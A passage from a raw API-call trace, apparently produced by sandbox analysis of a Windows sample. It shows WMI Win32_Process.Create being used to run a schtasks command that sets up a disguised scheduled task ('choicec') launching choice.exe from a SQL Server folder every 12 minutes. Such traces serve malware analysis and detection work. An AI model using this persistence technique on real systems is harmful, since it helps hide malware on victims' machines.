This=0x119bde0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0063.177] WbemDefPath:IWbemPath:GetText (in: This=0x119bde0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0063.177] WbemDefPath:IWbemPath:GetText (in: This=0x119bde0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0063.177] IWbemServices:GetObject (in: This=0x1bf01c20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bef5bd0, ppCallResult=0x0) returned 0x0 [0063.179] IWbemClassObject:GetMethod (in: This=0x1bef5bd0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bef5f40, ppOutSignature=0x1b2fd9e0*=0x1bef62b0) returned 0x0 [0063.180] IWbemClassObject:SpawnInstance (in: This=0x1bef5f40, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf19220) returned 0x0 [0063.181] IWbemClassObject:Get (in: This=0x1bf19220, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a88508*=0, plFlavor=0x2a8850c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a88508*=8, plFlavor=0x2a8850c*=32) returned 0x0 [0063.181] IWbemClassObject:Get (in: This=0x1bf19220, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a88508*=8, plFlavor=0x2a8850c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a88508*=8, plFlavor=0x2a8850c*=32) returned 0x0 [0063.181] IWbemClassObject:Put (This=0x1bf19220, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"choicec\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0063.181] IWbemClassObject:Get (in: This=0x1bf19220, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a88598*=0, plFlavor=0x2a8859c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a88598*=13, plFlavor=0x2a8859c*=32) returned 0x0 [0063.182] IWbemClassObject:Get (in: This=0x1bf19220, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a88598*=13, plFlavor=0x2a8859c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a88598*=13, plFlavor=0x2a8859c*=32) returned 0x0 [0063.182] IUnknown:QueryInterface (in: This=0x1bef54f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef54f0) returned 0x0 [0063.182] IUnknown:QueryInterface (in: This=0x1bef54f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0063.182] IUnknown:QueryInterface (in: This=0x1bef54f0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0063.183] IUnknown:AddRef (This=0x1bef54f0) returned 0x3 [0063.183] IUnknown:QueryInterface (in: This=0x1bef54f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0063.183] IUnknown:QueryInterface (in: This=0x1bef54f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0063.183] IUnknown:QueryInterface (in: This=0x1bef54f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef54f8) returned 0x0 [0063.183] IMarshal:GetUnmarshalClass (in: This=0x1bef54f8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0063.183] IUnknown:Release (This=0x1bef54f8) returned 0x3 [0063.183] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0063.183] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0063.183] IUnknown:QueryInterface (in: This=0x1bef54f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0063.184] IUnknown:Release (This=0x1bef54f0) returned 0x2 [0063.184] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0063.184] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0063.184] IUnknown:QueryInterface (in: This=0x1bef54f0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0063.184] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0063.184] IUnknown:QueryInterface (in: This=0x1bef54f0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0063.184] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0063.184] IUnknown:AddRef (This=0x1bef54f0) returned 0x3 [0063.184] IWbemClassObject:Put (This=0x1bf19220, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef54f0, varVal2=0x0), Type=0) returned 0x0 [0063.185] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bae0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0063.185] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0063.185] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0063.185] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ba20, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0063.185] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0063.185] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.185] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0063.185] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0063.187] IWbemServices:ExecMethod (in: This=0x1bf01c20, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf19220, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf194d0, ppCallResult=0x0) returned 0x0 [0063.353] IWbemClassObject:Get (in: This=0x1bf194d0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a888b0*=0, plFlavor=0x2a888b4*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf30, varVal2=0x0), pType=0x2a888b0*=19, plFlavor=0x2a888b4*=0) returned 0x0 [0063.353] IWbemClassObject:Get (in: This=0x1bf194d0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a888b0*=19, plFlavor=0x2a888b4*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf30, varVal2=0x0), pType=0x2a888b0*=19, plFlavor=0x2a888b4*=0) returned 0x0 [0063.354] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0063.354] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0063.354] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0063.354] IUnknown:Release (This=0x111f638) returned 0x1 [0063.356] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf2ab00) returned 0x0 [0063.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2ab00, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0063.356] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2ab00, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119bf60) returned 0x0 [0063.356] WbemDefPath:IUnknown:Release (This=0x1bf2ab00) returned 0x0 [0063.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119bf60) returned 0x0 [0063.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0063.356] WbemDefPath:IUnknown:AddRef (This=0x119bf60) returned 0x3 [0063.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0063.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0063.357] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf2ab40) returned 0x0 [0063.357] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2ab40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.357] WbemDefPath:IUnknown:Release (This=0x1bf2ab40) returned 0x3 [0063.357] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0063.357] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0063.357] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0063.357] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x2 [0063.357] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x1 [0063.357] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0063.357] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0063.357] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119bf60) returned 0x0 [0063.357] WbemDefPath:IUnknown:AddRef (This=0x119bf60) returned 0x3 [0063.357] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x2 [0063.357] WbemDefPath:IWbemPath:SetText (This=0x119bf60, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0063.357] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bf60, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0063.357] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0063.357] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0063.357] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bf60, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0063.357] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bf60, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0063.357] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bf60, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0063.358] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0063.358] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0063.358] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0063.358] IUnknown:Release (This=0x111f638) returned 0x1 [0063.360] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf2ab80) returned 0x0 [0063.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2ab80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0063.361] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2ab80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119c020) returned 0x0 [0063.361] WbemDefPath:IUnknown:Release (This=0x1bf2ab80) returned 0x0 [0063.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119c020) returned 0x0 [0063.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0063.361] WbemDefPath:IUnknown:AddRef (This=0x119c020) returned 0x3 [0063.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0063.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0063.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf2abc0) returned 0x0 [0063.361] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2abc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.361] WbemDefPath:IUnknown:Release (This=0x1bf2abc0) returned 0x3 [0063.361] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0063.362] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0063.362] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0063.362] WbemDefPath:IUnknown:Release (This=0x119c020) returned 0x2 [0063.362] WbemDefPath:IUnknown:Release (This=0x119c020) returned 0x1 [0063.362] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0063.362] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0063.362] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c020, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119c020) returned 0x0 [0063.362] WbemDefPath:IUnknown:AddRef (This=0x119c020) returned 0x3 [0063.362] WbemDefPath:IUnknown:Release (This=0x119c020) returned 0x2 [0063.362] WbemDefPath:IWbemPath:SetText (This=0x119c020, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0063.362] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c020, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0063.362] WbemDefPath:IWbemPath:GetText (in: This=0x119c020, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0063.362] WbemDefPath:IWbemPath:GetText (in: This=0x119c020, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0063.362] WbemDefPath:IWbemPath:GetInfo (in: This=0x119c020, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0063.362] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c020, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0063.362] WbemDefPath:IWbemPath:GetInfo (in: This=0x119c020, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0063.362] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c020, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0063.362] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0063.362] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0063.362] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.362] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0063.362] 